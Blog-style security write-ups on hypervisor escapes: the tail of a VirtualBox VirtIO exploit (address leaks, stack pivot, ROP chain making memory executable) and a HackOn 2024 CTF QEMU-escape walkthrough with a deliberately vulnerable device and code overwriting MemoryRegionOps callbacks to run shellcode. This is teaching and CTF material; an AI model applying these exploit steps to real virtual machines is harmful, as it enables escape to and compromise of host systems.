/*  184      |     8 */    RTR0PTR pvInstanceDataR0;
/*  192      |     4 */    RTRCPTR pvInstanceDataRC;
/*  196      |    44 */    uint32_t au32Padding[11];
/*  240      |   144 */    union {
/*               144 */        uint8_t padding[144];

                                 /* total size (bytes):  144 */
                             } Internal;
/*  384      |     8 */    char achInstanceData[8];

                             /* total size (bytes):  392 */
                         }

But there is a trick we can use: we can modify the pDevInsR3 pointer in the PDMPCIDEVINT structure to point to pDevInsR3 + 0x10. This way, pvInstanceDataR3 will contain the pointer that was originally in pCritSectRoR3. We do this because we know that the critical section is located at pThis + 7536 + 16 (as we observed earlier). By pointing it there, we will be able to modify the contents:

pDevInsR3 + 0x10

However, there are a series of checks we need to bypass:

src/VBox/Devices/VirtIO/VirtioCore.cpp

if (uAddress == pVirtio->uPciCfgDataOff)

src/VBox/Devices/VirtIO/VirtioCore.cpp


[Truncated]

struct virtio_pci_cap *pPciCap = &pVirtioCC->pPciCfgCap->pciCap;
uint32_t uLength = pPciCap->uLength;

[Truncated]

if (  (uLength != 1 && uLength != 2 && uLength != 4)
    || pPciCap->uBar != VIRTIO_REGION_PCI_CAP)
{
    ASSERT_GUEST_MSG_FAILED(("Guest read virtio_pci_cfg_cap.pci_cfg_data using mismatching config. "
                                "Ignoring\n"));
    *pu32Value = UINT32_MAX;
    return VINF_SUCCESS;
}

[Truncated]

Therefore, it is necessary to modify these “fields” in order to successfully bypass the checks and trigger the call to:

src/VBox/Devices/VirtIO/VirtioCore.cpp

VBOXSTRICTRC rcStrict = virtioMmioRead(pDevIns, pVirtio, pPciCap->uOffset, pu32Value, cb);

For example, uBar is located at a distance of 7536 + 16 + 0x300 + 4 from pThis:

GDB

gef>  ptype /o pVirtioCC->pPciCfgCap->pciCap
/* offset    |  size */  type = struct virtio_pci_cap {
/*    0      |     1 */    uint8_t uCapVndr;
/*    1      |     1 */    uint8_t uCapNext;
/*    2      |     1 */    uint8_t uCapLen;
/*    3      |     1 */    uint8_t uCfgType;
/*    4      |     1 */    uint8_t uBar;
/*    5      |     3 */    uint8_t uPadding[3];
/*    8      |     4 */    uint32_t uOffset;
/*   12      |     4 */    uint32_t uLength;

                             /* total size (bytes):   16 */
                         }

We are interested in the call to the virtioMmioRead function because this is where the data copy will actually be handled.

src/VBox/Devices/VirtIO/VirtioCore.cpp


[Truncated]

/*
    * Callback to client to manage device-specific configuration.
    */
VBOXSTRICTRC rcStrict = pVirtioCC->pfnDevCapRead(pDevIns, uOffset, pv, cb);

/*
    * Anytime any part of the dev-specific dev config (which this virtio core implementation sees
    * as a blob, and virtio dev-specific code separates into fields) is READ, it must be compared
    * for deltas from previous read to maintain a config gen. seq. counter (VirtIO 1.0, section 4.1.4.3.1)
    */
bool fDevSpecificFieldChanged = RT_BOOL(memcmp(pVirtioCC->pbDevSpecificCfg + uOffset,
                                            pVirtioCC->pbPrevDevSpecificCfg + uOffset,
                                            RT_MIN(cb, pVirtioCC->cbDevSpecificCfg - uOffset)));

memcpy(pVirtioCC->pbPrevDevSpecificCfg, pVirtioCC->pbDevSpecificCfg, pVirtioCC->cbDevSpecificCfg);

if (pVirtio->fGenUpdatePending || fDevSpecificFieldChanged)
{
    ++pVirtio->uConfigGeneration;
    Log6Func(("Bumped cfg. generation to %d because %s%s\n", pVirtio->uConfigGeneration,
                fDevSpecificFieldChanged ? "<dev cfg changed> " : "",
                pVirtio->fGenUpdatePending ? "<update was pending>" : ""));
    pVirtio->fGenUpdatePending = false;
}

[Truncated]

However, we have a couple of small issues. If we enter the first if statement, when pVirtioCC->pfnDevCapRead is called, it is not pointing to the correct function (virtioNetR3DevCapRead) because we previously modified the pointer to pDevInsR3.

pVirtioCC->pfnDevCapRead

I considered entering the second if statement, where virtioCommonCfgAccessed is called. To save you part of the analysis process, this turned out to be the correct option:

src/VBox/Devices/VirtIO/VirtioCore.cpp

if (MATCHES_VIRTIO_CAP_STRUCT(off, cb, uOffset, pVirtio->LocCommonCfgCap))
    return virtioCommonCfgAccessed(pDevIns, pVirtio, pVirtioCC, false /* fWrite */, uOffset, cb, pv);

To access that if statement, it is necessary to meet the check:

src/VBox/Devices/VirtIO/VirtioCore.cpp

MATCHES_VIRTIO_CAP_STRUCT(off, cb, uOffset, pVirtio->LocCommonCfgCap)

This is a macro, which is defined as:

src/VBox/Devices/VirtIO/VirtioCore.cpp

#define MATCHES_VIRTIO_CAP_STRUCT(a_offAccess, a_cbAccess, a_offsetIntoCap, a_LocCapData) \
    (   ((a_offsetIntoCap) = (uint32_t)((a_offAccess) - (a_LocCapData).offMmio)) < (uint32_t)(a_LocCapData).cbMmio \
     && (a_offsetIntoCap) + (uint32_t)(a_cbAccess) <= (uint32_t)(a_LocCapData).cbMmio )

GDB

gef>  ptype /o VIRTIO_PCI_CAP_LOCATIONS_T
/* offset    |  size */  type = struct VIRTIO_PCI_CAP_LOCATIONS_T {
/*    0      |     2 */    uint16_t offMmio;
/*    2      |     2 */    uint16_t cbMmio;
/*    4      |     2 */    uint16_t offPci;
/*    6      |     2 */    uint16_t cbPci;

                           /* total size (bytes):    8 */
                         }

To do this, we can, for example, write a 0 at 7536 + 16 + 1828 + 0 (offMmio) and 0xff at 7536 + 16 + 1828 + 2 (cbMmio).

From the virtioCommonCfgAccessed function, the part we are most interested in is when the calls to VIRTIO_DEV_CONFIG_ACCESS are made, which is again a macro, defined as follows:

src/VBox/Devices/VirtIO/VirtioCore.h

#define VIRTIO_DEV_CONFIG_ACCESS(member, tCfgStruct, uOffsetOfAccess, pCfgStruct) \
    do \
    { \
        uint32_t uOffsetInMember = uOffsetOfAccess - RT_UOFFSETOF(tCfgStruct, member); \
        if (fWrite) \
            memcpy(((char *)&(pCfgStruct)->member) + uOffsetInMember, pv, cb); \
        else \
            memcpy(pv, ((const char *)&(pCfgStruct)->member) + uOffsetInMember, cb); \
        VIRTIO_DEV_CONFIG_LOG_ACCESS(member, tCfgStruct, uOffsetOfAccess); \
    } while(0)

It copies data to or from the specified member field of the config structure, depending on whether fWrite indicates a write or a read operation.

We are particularly interested in the accesses made to the member fields of pVirtio->aVirtqueues. Additionally, we can control the value of uVirtq (pVirtio->uVirtqSelect).

pVirtio->aVirtqueues[0]

By doing this, we can successfully leak the address of pDevInsR3, which is “fragmented” across the member fields: uNotifyOffset, uEnable, and uMsixVector.

This also applies to virtioR3PciConfigRead if we read the same fields, but set uVirtq to 4. Additionally, after obtaining the address of virtioR3PciConfigRead, we can calculate the base address of VBoxDD.so:

Leaks

VBoxDD.so

Now that we have the leaks, we can try to gain control of the execution flow by leveraging the initial idea of corrupting pfnConfigRead.

The call to virtioR3PciConfigRead is made via:

src/VBox/Devices/Bus/DevPCI.cpp

rcStrict = pPciDev->Int.s.pfnConfigRead(pPciDev->Int.s.CTX_SUFF(pDevIns), pPciDev, config_addr, cb, pu32Value);

In fact, if you want to debug the ROP chain, I recommend setting a breakpoint at this location: src/VBox/Devices/Bus/DevPCI.cpp:216.

RAX contains the address of pDevInsR3, with an additional offset of + 0x10 because we modified it earlier:

ROP 1

We have some powerful gadgets at our disposal, such as:

0x00000000004d1a2f: push rax; pop rsp; nop; pop rbp; ret;

This will allow us to pivot the stack:

ROP 2

Additionally, since we can modify the pointer to pDevInsR3, we can make RSP point to a controlled and “safe” area, ensuring that we don’t overwrite important content that could cause crashes.

What are our objectives with the ROP chain? Well, the simplest way to execute our code is through a shellcode, but to do that, we need to give the memory region where it’s stored execution permissions. This is why we could attempt to make a call to mprotect. However, mprotect is located in the libc.so, and we don’t have a leak for libc. An alternative approach would be to use RTMemProtect, but we don’t know its address either, as it is located in VBoxRT.so.

RTMemProtect

However, we can try to dynamically resolve the address of RTMemProtect. If we take a look at the entries in the GOT, for example, we have the address of RTErrInfoSet, which is located in VBoxRT.so:

0x00007fffb07e4ed8 - 0x00007fffb07e4fe8 is .got in /home/diego/Research/VirtualBox-7.0.10/out/linux.amd64/debug/bin/VBoxDD.so

VBoxRT.so

And we have gadgets like:

Gadgets

0x00000000000656a0: add rax, rdx; pop rbp; ret;

Of course, we also have:

Gadgets

0x00000000000ac71a: pop rdx; ret;
0x00000000001d8489: pop rax; ret;

At this point, we have the address of RTMemProtect in RAX:

ROP 3

Now we can write that address to the memory region where we’re constructing the ROP chain, allowing us to call RTMemProtect later. After that, the only task left is to set up the arguments for the call:

exploit.c

oob_write(dev, vdev, VBoxDD_addr + pop_rdi_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 13) - aVlanFilter_off, 64); //pop rdi
oob_write(dev, vdev, pDevInsR3_addr + 0x3000 - 0x200 - 0x200, PDMPCIDEVINT_s + ROP_off + (0x8 * 14) - aVlanFilter_off, 64); //rdi value
oob_write(dev, vdev, VBoxDD_addr + pop_rsi_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 15) - aVlanFilter_off, 64); //pop rsi
oob_write(dev, vdev, 0x1000, PDMPCIDEVINT_s + ROP_off                    + (0x8 * 16)  - aVlanFilter_off, 64); //rsi value
oob_write(dev, vdev, VBoxDD_addr + pop_rdx_ret, PDMPCIDEVINT_s + ROP_off +  (0x8 * 17) - aVlanFilter_off, 64); //pop rdx
oob_write(dev, vdev, RTMEM_PROT_READ | RTMEM_PROT_WRITE | RTMEM_PROT_EXEC, PDMPCIDEVINT_s + ROP_off + (0x8 * 18) - aVlanFilter_off, 64); //rdx value

After all this, you can see that the permissions have changed and are now rwx.

RWX

The only thing remaining is to trigger the pfnConfigRead callback.

Demo

Full exploit

You can find the full exploit on my GitHub repository.

I hope you enjoyed it!

  1. Virtio: An I/O virtualization framework for Linux ↩ ↩2

  2. Virtio on Linux ↩ ↩2

  3. Introduction to virtio-networking and vhost-net ↩ ↩2

  4. VirtIo paper ↩

]]>Diego PalaciosQuememu Writeup HackOn 2024 CTF2024-04-14T08:00:00+00:002024-04-14T08:00:00+00:00https://diegoaltf4.com/quememu-writeup-hackon-2024-ctfThis post is a collaboration with my friend David Billhardt!

Intro

Challenge Preview

We created a few challenges for the HackOn CTF. One of them was a Qemu Escape challenge. To obtain the flag, the user must escape Qemu and read the flag that’s located in the host.

In this post, we are going to explain in depth how to solve the challenge. You can download the challenge here.

Understanding the provided info

In this challenge, we can see a few files:

~/Downloads/quememu » tree
.
├── Dockerfile
├── deploy_docker.sh
├── diff.txt
├── docker-compose.yml
├── flag
├── initramfs.cpio.gz
├── pc-bios
    ...
├── qemu-system-x86_64
├── run.sh
├── vmlinuz-5.15.0-92-generic
└── xinetd

The file diff.txt sounds interesting. Let’s see its content:

commit 40192e9557fccd3982e17d533fae9f1b0103624d
Author: Pwnkebab <pwnkebab@gmail.com>
Date:   Tue Feb 6 16:13:11 2024 +0000

    QueMemu device

diff --git a/hw/misc/meson.build b/hw/misc/meson.build
index e4ef1da5a5..022755ced9 100644
--- a/hw/misc/meson.build
+++ b/hw/misc/meson.build
@@ -153,6 +153,8 @@ specific_ss.add(when: 'CONFIG_MIPS_CPS', if_true: files('mips_cmgcr.c', 'mips_cp
 specific_ss.add(when: 'CONFIG_MIPS_ITU', if_true: files('mips_itu.c'))

 system_ss.add(when: 'CONFIG_SBSA_REF', if_true: files('sbsa_ec.c'))
+system_ss.add(files('quememu.c'))
+

 # HPPA devices
 system_ss.add(when: 'CONFIG_LASI', if_true: files('lasi.c'))
diff --git a/hw/misc/quememu.c b/hw/misc/quememu.c
new file mode 100644
index 0000000000..c4c0b2ca77
--- /dev/null
+++ b/hw/misc/quememu.c
@@ -0,0 +1,176 @@
+#include "qemu/osdep.h"
+#include "qemu/units.h"
+#include "hw/pci/pci.h"
+#include "hw/hw.h"
+#include "hw/pci/msi.h"
+#include "qemu/timer.h"
+#include "qom/object.h"
+#include "qemu/module.h"
+#include "qapi/visitor.h"
+#include <math.h>
+
+#define TYPE_PCI_QUEMEMU_DEVICE "quememu"
+#define QUEMEMU_MMIO_SIZE 0x10000
+#define BUFF_SIZE 0x10000
+#define MAX_BASE 20
+#define MAX_RW BUFF_SIZE - (pow(MAX_BASE,3)*0x7 + pow(MAX_BASE,2)*0xF + MAX_BASE*0xF + 0xF - 1)
+
+typedef unsigned char base_t;
+
+typedef struct{
+    PCIDevice pdev;
+    MemoryRegion mmio;
+    char buff[BUFF_SIZE];
+    struct {
+        base_t base;
+        short off;
+		hwaddr src;
+	} state;
+} QueMemuState;
+
+DECLARE_INSTANCE_CHECKER(QueMemuState, QUEMEMU, TYPE_PCI_QUEMEMU_DEVICE)
+
+static unsigned char consume_nibble(unsigned short *n)
+{
+	unsigned char nibble = *n<<4;
+	nibble = nibble>>4;
+	*n = *n>>4;
+
+	return nibble;
+}
+
+static void trigger_rw(QueMemuState *quememu, bool is_write)
+{
+    if (quememu->state.base == 0)
+        return;
+
+    if (quememu->state.base == 0x10) // Don't change base cause we already use base 16
+    {
+        cpu_physical_memory_rw(quememu->state.src, &quememu->buff[quememu->state.off], MAX_RW, is_write);
+        return;
+    }
+
+    unsigned short n = quememu->state.off;
+	unsigned long long multiplier = 1, new_off = 0;
+
+	for (int i = 0; i < sizeof(n)*2; ++i)
+	{
+        // Use nibble % base (e.g. 7 in base 3 = 1)
+        new_off += (consume_nibble(&n) % quememu->state.base) * multiplier;
+		multiplier *= quememu->state.base;
+	}
+    cpu_physical_memory_rw(quememu->state.src, &quememu->buff[new_off], MAX_RW, is_write);
+}
+
+static uint64_t quememu_mmio_read(void *opaque, hwaddr addr, unsigned size) {
+    QueMemuState *quememu = (QueMemuState *)opaque;
+    uint64_t val = 0;
+    switch (addr)
+    {
+        case 0x00:
+            trigger_rw(quememu, 1);
+            break;
+        case 0x04:
+            val = quememu->state.base;
+            break;
+        case 0x08:
+            val = quememu->state.off;
+            break;
+        case 0x0c:
+            val = quememu->state.src;
+            break;
+        default:
+            val = 0xFABADA;
+            break;
+    }
+    return val;
+}
+
+static void quememu_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
+    QueMemuState *quememu = (QueMemuState *)opaque;
+    switch (addr)
+    {
+        case 0x00:
+            trigger_rw(quememu, 0);
+            break;
+        case 0x04:
+            if ((base_t) val <= MAX_BASE) quememu->state.base = val;
+            break;
+        case 0x08:
+            if ((short) val >= 0) quememu->state.off = val;
+            break;
+        case 0x0c:
+            quememu->state.src = val;
+            break;
+        default:
+            break;
+    }
+}
+
+static const MemoryRegionOps quememu_mmio_ops =
+{
+    .read = quememu_mmio_read,
+    .write = quememu_mmio_write,
+    .endianness = DEVICE_NATIVE_ENDIAN,
+    .valid =
+    {
+        .min_access_size = 4,
+        .max_access_size = 4,
+    },
+    .impl =
+    {
+        .min_access_size = 4,
+        .max_access_size = 4,
+    },
+};
+
+static void pci_quememu_realize(PCIDevice *pdev, Error **errp)
+{
+    QueMemuState *quememu = QUEMEMU(pdev);
+    memory_region_init_io(&quememu->mmio, OBJECT(quememu), &quememu_mmio_ops, quememu, "quememu-mmio", QUEMEMU_MMIO_SIZE);
+    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &quememu->mmio);
+}
+
+static void quememu_instance_init(Object *obj)
+{
+    QueMemuState *quememu = QUEMEMU(obj);
+    memset(&quememu->state, 0, sizeof(quememu->state));
+    memset(quememu->buff, 0, sizeof(quememu->buff));
+}
+
+static void quememu_class_init(ObjectClass *class, void *data)
+{
+    DeviceClass *dc = DEVICE_CLASS(class);
+    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);
+    k->realize = pci_quememu_realize;
+    k->vendor_id = PCI_VENDOR_ID_QEMU;
+    k->device_id = 0xFACE;
+    k->revision = 0x0;
+    k->class_id = PCI_CLASS_OTHERS;
+
+    set_bit(DEVICE_CATEGORY_MISC, dc->categories);
+}
+
+static void pci_quememu_register_types(void)
+{
+    static InterfaceInfo interfaces[] =
+    {
+        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
+        { },
+    };
+    static const TypeInfo quememu_info =
+    {
+        .name = TYPE_PCI_QUEMEMU_DEVICE,
+        .parent = TYPE_PCI_DEVICE,
+        .instance_size = sizeof(QueMemuState),
+        .instance_init = quememu_instance_init,
+        .class_init = quememu_class_init,
+        .interfaces = interfaces,
+    };
+
+    type_register_static(&quememu_info);
+}
+
+type_init(pci_quememu_register_types)

As you can see, a new device has been added /hw/misc/quememu.c. Also, the qemu-system-x86_64 has been compiled including this device (meson.build).

Analyzing the device

In the pci_quememu_register_types function, the device is registered:

static void pci_quememu_register_types(void)
{
    static InterfaceInfo interfaces[] =
    {
        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
        { },
    };
    static const TypeInfo quememu_info =
    {
        .name = TYPE_PCI_quememu_DEVICE,
        .parent = TYPE_PCI_DEVICE,
        .instance_size = sizeof(quememuState),
        .instance_init = quememu_instance_init,
        .class_init = quememu_class_init,
        .interfaces = interfaces,
    };

    type_register_static(&quememu_info);
}

type_init(pci_quememu_register_types)

In the quememu_class_init function there are defined some characteristics of the device like the device id (0xFACE) which is going to be useful to identify the device:

static void quememu_class_init(ObjectClass *class, void *data)
{
    DeviceClass *dc = DEVICE_CLASS(class);
    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);
    k->realize = pci_quememu_realize;
    k->vendor_id = PCI_VENDOR_ID_QEMU;
    k->device_id = 0xFACE;
    k->revision = 0x0;
    k->class_id = PCI_CLASS_OTHERS;

    set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}

Also, in the pci_quememu_realize function we can see that an MMIO region is registered. This region is going to allow us to do I/O operations between the virtual machine and the device:

static void pci_quememu_realize(PCIDevice *pdev, Error **errp)
{
    QueMemuState *quememu = QUEMEMU(pdev);
    memory_region_init_io(&quememu->mmio, OBJECT(quememu), &quememu_mmio_ops, quememu, "quememu-mmio", QUEMEMU_MMIO_SIZE);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &quememu->mmio);
}

When memory_region_init_io is called, the quememu_mmio_ops structure is passed as an argument.

This structure defines the callbacks. Each time a read or write is to be performed, the callbacks will be executed:

static const MemoryRegionOps quememu_mmio_ops =
{
    .read = quememu_mmio_read,
    .write = quememu_mmio_write,
    .endianness = DEVICE_NATIVE_ENDIAN,
    .valid =
    {
        .min_access_size = 4,
        .max_access_size = 4,
    },
    .impl =
    {
        .min_access_size = 4,
        .max_access_size = 4,
    },
};

The function associated with the read is quememu_mmio_read:

static uint64_t quememu_mmio_read(void *opaque, hwaddr addr, unsigned size) {
    QueMemuState *quememu = (QueMemuState *)opaque;
    uint64_t val = 0;
    switch (addr)
    {
        case 0x00:
            trigger_rw(1);
            break;
        case 0x04:
            val = quememu->state.base;
            break;
        case 0x08:
            val = quememu->state.off;
            break;
        case 0x0c:
            val = quememu->state.src;
            break;
        default:
            val = 0xFABADA;
            break;
    }
    return val;
}

And the function associated with the write is quememu_mmio_write:

static void quememu_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
    QueMemuState *quememu = (QueMemuState *)opaque;
    switch (addr)
    {
        case 0x00:
            trigger_rw(0);
            break;
        case 0x04:
            if ((base_t) val <= MAX_BASE) quememu->state.base = val;
            break;
        case 0x08:
            if ((short) val >= 0) quememu->state.off = val;
            break;
        case 0x0c:
            quememu->state.src = val;
            break;
        default:
            break;
    }
}

As you can see, in this function we can define the offset, the source, and the base of the state structure. Also, in both functions, option 0 will call trigger_rw.

static void trigger_rw(bool is_write)
{
    if (quememu->state.base = 0x10) // Don't change base cause we already use base 16
    {
        cpu_physical_memory_rw(quememu->state.src, &quememu->buff[&quememu->state.off], MAX_RW, is_write);
        return;
    }

    short n = quememu->state.off;
	unsigned long long multiplier = 1, new_off = 0;

	for (int i = 0; i < sizeof(n)*2; ++i)
	{
        // Use nibble % base (e.g. 7 in base 3 = 1)
        new_off += (consume_nibble(&n) % quememu->state.base) * multiplier;
		multiplier *= quememu->state.base;
	}
    cpu_physical_memory_rw(quememu->state.src, &quememu->buff[new_off], MAX_RW, is_write);
}

This function may seem a bit confusing at first glance. Let’s analyze it in detail.

First of all, we must understand how the QueMemuState structure is defined:

typedef unsigned char base_t;

typedef struct{
    PCIDevice pdev;
    MemoryRegion mmio;
    char buff[BUFF_SIZE];
    struct {
        base_t base;
        short off;
		hwaddr src;
	} state;
} QueMemuState;

It contains a struct (state) that has a base (unsigned char), offset (short), and src (hwaddr). In addition, there is a mmio variable of type MemoryRegion. If we look at the documentation, we see that:

Memory is modelled as an acyclic graph of MemoryRegion objects. Sinks (leaves) are RAM and MMIO regions, while other nodes represent buses, memory controllers, and memory regions that have been rerouted. There are multiple types of memory regions (all represented by a single C type MemoryRegion)…

So, it is an abstraction that represents the different memory areas inside the virtual machine. If we combine it with what we have seen in the pci_quememu_realize function and with the following point of the documentation we can understand it a little better:

MMIO: a range of guest memory that is implemented by host callbacks; each read or write causes a callback to be called on the host. You initialize these with memory_region_init_io, passing it a MemoryRegionOps structure describing the callbacks.

Going back to the trigger_rw function, if the base is 0x10 nothing special will happen, a simple call to cpu_physical_memory_rw will be made. In other case, the new_off will be calculated. For example, if the base is 20 and the offset is 0x1234 the algorithm will do the following:

new_off = 0x4 * (20 ** 0)
new_off += 0x3 * (20 ** 1)
new_off += 0x2 * (20 ** 2)
new_off += 0x1 * (20 ** 3)

So, new_off = 0x22a0. To sum up, the offset is interpreted in the base that we have provided and converted to hex. Let’s check it:

Convert Base

Identifying the vulnerabilities

Now that we understand how the device works, we can start identifying the vulnerabilities.

In the trigger_rw function, the len used in cpu_physical_memory_rw is MAX_RW which is defined as follows:

#define BUFF_SIZE 0x10000
#define MAX_BASE 20
#define MAX_RW BUFF_SIZE - (pow(MAX_BASE,3)*0x7 + pow(MAX_BASE,2)*0xF + MAX_BASE*0xF + 0xF - 1)

So, MAX_RW = 0x10000 - 62314 = 3222

Knowing that buff has a size of 0x10000 and the largest offset we can achieve is 0x7fff because state.off is a short. Moreover, the largest base is 20. In this case, the value of new_off is 62315:

new_off = 0xf * (20 ** 0)
new_off += 0xf * (20 ** 1)
new_off += 0xf * (20 ** 2)
new_off += 0x7 * (20 ** 3)

So, we have an off by one!!

The cpu_physical_memory_rw function will write to or read from quememu->buff[62315] 3222 bytes which means that we are writing/reading from [62315, 0x10001].

The next question is, what can we modify with this off by one?

If you take a look at the QueMemuState structure, after the buff variable comes the base attribute and since the base <= MAX_BASE check is only done in the quememu_mmio_write function with the 0x4 option, we can put an arbitrary base and get a bigger overflow.

Now, for example, we can modify the offset. Nevertheless, what’s our plan?

If we were able to modify the offset to a negative value, we could read or write to the MemoryRegion.

gef➤  ptype /ox MemoryRegion
type = struct MemoryRegion {
/* 0x0000      |  0x0028 */    Object parent_obj;
/* 0x0028      |  0x0001 */    _Bool romd_mode;
/* 0x0029      |  0x0001 */    _Bool ram;
/* 0x002a      |  0x0001 */    _Bool subpage;
/* 0x002b      |  0x0001 */    _Bool readonly;
/* 0x002c      |  0x0001 */    _Bool nonvolatile;
/* 0x002d      |  0x0001 */    _Bool rom_device;
/* 0x002e      |  0x0001 */    _Bool flush_coalesced_mmio;
/* 0x002f      |  0x0001 */    _Bool unmergeable;
/* 0x0030      |  0x0001 */    uint8_t dirty_log_mask;
/* 0x0031      |  0x0001 */    _Bool is_iommu;
/* XXX  6-byte hole      */
/* 0x0038      |  0x0008 */    RAMBlock *ram_block;
/* 0x0040      |  0x0008 */    Object *owner;
/* 0x0048      |  0x0008 */    DeviceState *dev;
/* 0x0050      |  0x0008 */    const MemoryRegionOps *ops;
/* 0x0058      |  0x0008 */    void *opaque;
/* 0x0060      |  0x0008 */    MemoryRegion *container;
/* 0x0068      |  0x0004 */    int mapped_via_alias;
...
/* total size (bytes):  272 */
}

The MemoryRegionOps seems familiar to you, right?

If not, review the quememu_mmio_ops.

The structure of MemoryRegionOps is as follows:

gef➤  ptype /ox MemoryRegionOps
type = struct MemoryRegionOps {
/* 0x0000      |  0x0008 */    uint64_t (*read)(void *, hwaddr, unsigned int);
/* 0x0008      |  0x0008 */    void (*write)(void *, hwaddr, uint64_t, unsigned int);
/* 0x0010      |  0x0008 */    MemTxResult (*read_with_attrs)(void *, hwaddr, uint64_t *, unsigned int, MemTxAttrs);
/* 0x0018      |  0x0008 */    MemTxResult (*write_with_attrs)(void *, hwaddr, uint64_t, unsigned int, MemTxAttrs);
/* 0x0020      |  0x0004 */    enum device_endian endianness;
/* XXX  4-byte hole      */
/* 0x0028      |  0x0018 */    struct {
/* 0x0028      |  0x0004 */        unsigned int min_access_size;
/* 0x002c      |  0x0004 */        unsigned int max_access_size;
/* 0x0030      |  0x0001 */        _Bool unaligned;
/* XXX  7-byte hole      */
/* 0x0038      |  0x0008 */        _Bool (*accepts)(void *, hwaddr, unsigned int, _Bool, MemTxAttrs);

                                   /* total size (bytes):   24 */
                               } valid;
/* 0x0040      |  0x000c */    struct {
/* 0x0040      |  0x0004 */        unsigned int min_access_size;
/* 0x0044      |  0x0004 */        unsigned int max_access_size;
/* 0x0048      |  0x0001 */        _Bool unaligned;
/* XXX  3-byte padding   */

                                   /* total size (bytes):   12 */
                               } impl;
/* XXX  4-byte padding   */

                               /* total size (bytes):   80 */
}

Great, so if we can read and write to MemoryRegionOps we can modify the callbacks and escape.

In the trigger_rw function, the new_off is unsigned so we can’t achieve our goal directly. However, if the base is 0x10 there is no base conversion so the offset is quememu->state.off which is a short. Now we have everything we need to get arbitrary read/write:

  1. Trigger the off by one and modify the base to have a bigger overflow.
  2. Modify the offset to point anywhere we want (in this case to the MemoryRegion structure).
  3. Set the base to 0x10 to avoid unsigned short and interpret negative values correctly in the offset.

In our case, if we set the base to 21 (MAX_BASE+1) we have to set the offset to, at least, 0x6f6b. To calculate that number, we first calculated the offset needed to reach up to an offset of 0x10004 (in hexadecimal) from the buffer, and then translated it to base 21. The reason why we have to get to at least 0x10004 and not 0x10003 is because there is a 1 byte padding between the base attribute and the off attribute:

gef➤  ptype/xo QueMemuState*
type = struct {
/* 0x0000      |  0x0a30 */    PCIDevice pdev;
/* 0x0a30      |  0x0110 */    MemoryRegion mmio;
/* 0x0b40      | 0x10000 */    char buff[65536];
/* 0x10b40     |  0x0010 */    struct {
/* 0x10b40     |  0x0001 */        base_t base;
/* XXX  1-byte hole      */
/* 0x10b42     |  0x0002 */        short off;
/* XXX  4-byte hole      */
/* 0x10b48     |  0x0008 */        hwaddr src;

                                   /* total size (bytes):   16 */
                               } state;
                               /* total size (bytes): 68432 */
} *

So knowing that we want to reach to 0x10004 and that the amount written is 3222 bytes (as shown previously), the offset we need to set is 0x10004-3222 = 0xf36e which in base 21 is 0x6f6b:

def hex2base(n, base):
    new_off = ""
    while n > 0:
        tmp = n % base
        new_off += f"{tmp:x}"
        n //= base
    return "0x" + new_off[::-1]

if __name__ == "__main__":
    print(hex2base(0xf36e, 21))

$ python3 base_converter.py
0x6f6b

Explotation estrategy

Now that we know how to escalate the off by one bug, and end up reading or writing to the mmio (MemoryRegion) atribute, we have to use that to read the flag. As we said earlier, our estrategy to do that will consist on achieving code execution by modifying the read and write callbacks with anything we want. In this case we will overwrite the write callback to call mprotect and the read callback to point to a controlled buffer (the buff atribute) where we will have our final shellcode that just opens the flag, reads from it and writes it to stdout. However, we have to solve another problem, which is our inability to directly control the first argument passed to mprotect, because the callback’s first argument is always void *opaque.

Before any of that, we obviously need to leak some addresses, in this case we only need to know what is the address of mprotect (or mprotect@plt) and what is the address of the buffer. We can know the address of mprotect@plt just by leaking any pie address and adding/subtracting offsets, in this case we will use the const MemoryRegionOps *ops atribute which, as we can see, is a pie address:

gef➤  p quememu->mmio
$2 = {
  parent_obj = {
    class = 0x555556e83490,
    free = 0x0,
    properties = 0x555557d03b60Python Exception <class 'gdb.error'>: There is no member named keys.
,
    ref = 0x1,
    parent = 0x555557d91230
  },
  romd_mode = 0x1,
  ram = 0x0,
  subpage = 0x0,
  readonly = 0x0,
  nonvolatile = 0x0,
  rom_device = 0x0,
  flush_coalesced_mmio = 0x0,
  unmergeable = 0x0,
  dirty_log_mask = 0x0,
  is_iommu = 0x0,
  ram_block = 0x0,
  owner = 0x555557d91230,
  dev = 0x555557d91230,
  ops = 0x555556a4b460 <quememu_mmio_ops>,
  opaque = 0x555557d91230,
  container = 0x555556f1e6e0,
  mapped_via_alias = 0x0,
...
}
gef➤  vmmap 0x555556a4b460
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x000055555622e000 0x0000555556c05000 0x0000000000cd9000 r-- ./qemu-system-x86_64

The address of the buffer can be calculated based on the address of the whole QueMemuState structure, which we can obtain from the atribute owner.

For the final part of the exploit we have to setup a fake MemoryRegionOps structure and overwrite the ops atribute from the MemoryRegion to point to it:

void setup_fake_ops(char *hva_mprotect_plt, char *hva_qmemu_buff)
{
	*(void **)(gva_buff + MREG_SIZE) = hva_qmemu_buff+0x60; // fake read
	*(void **)(gva_buff + MREG_SIZE + 0x8) = hva_mprotect_plt; // fake write
	memcpy(gva_buff + MREG_SIZE+0x60, shellcode, SHELLCODE_SIZE);
}

void overwrite_ops(char *hva_mprotect_plt, char *hva_qmemu_buff)
{
	setup_fake_ops(hva_mprotect_plt, hva_qmemu_buff);
	*(void **)(gva_buff + MREG_OPS_OFF) = hva_qmemu_buff;
	*(void **)(gva_buff + MREG_OPAQUE_OFF) = (void *)(((uint64_t)hva_qmemu_buff+0x60)/0x1000*0x1000);
	mmio_write(trigger, 0);
}

